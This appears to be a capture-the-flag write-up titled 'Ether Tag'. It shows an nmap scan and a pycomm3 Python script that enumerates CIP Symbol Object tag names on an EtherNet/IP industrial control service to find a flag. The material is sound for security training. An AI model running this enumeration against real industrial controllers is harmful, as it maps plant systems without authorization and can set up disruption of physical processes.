Ether Tag

Challenge Overview

Flag

Reconnaissance

Confirm reachability of the ICS service:

nmap -sT -Pn -p 34953 94.237.61.52

Exploitation

The target speaks EtherNet/IP (CIP — Common Industrial Protocol). The flag is stored as a CIP Symbol Object tag name (class 0x6B). Enumerate the symbol instances with Get_Attribute_Single (service 0x0E), reading attribute 1 (Symbol Name) for each instance, using the pycomm3 library.

Step 1 — Enumerate CIP Symbol Object names

from pycomm3 import CIPDriver

HOST = "94.237.61.52"
PORT = 34953

def decode_name(val):
    if isinstance(val, (bytes, bytearray)):
        b = bytes(val)
        # Handle common length-prefixed symbol strings
        if len(b) > 1 and b[0] <= len(b) - 1 and all(32 <= x <= 126 for x in b[1:1+b[0]]):
            return b[1:1+b[0]].decode(errors="ignore")
        return b.decode(errors="ignore")
    return str(val)

with CIPDriver(f"{HOST}:{PORT}") as d:
    for inst in range(1, 100):
        r = d.generic_message(
            service=0x0E,      # Get_Attribute_Single
            class_code=0x6B,    # Symbol Object
            instance=inst,
            attribute=1         # Symbol Name
        )
        if getattr(r, "error", None):
            continue
        name = decode_name(r.value)
        if name:
            print(f"{inst:03d} {name}")

Result

The script prints the CIP symbol names; the flag is one of the enumerated tag/symbol names.

FLAG FOUND

Techniques Demonstrated

1. Service/port identification (nmap)
2. EtherNet/IP (CIP) protocol interaction via pycomm3
3. Symbol Object (class 0x6B) enumeration — length-prefixed name decoding

Tools Used

nmap, pycomm3 (Python)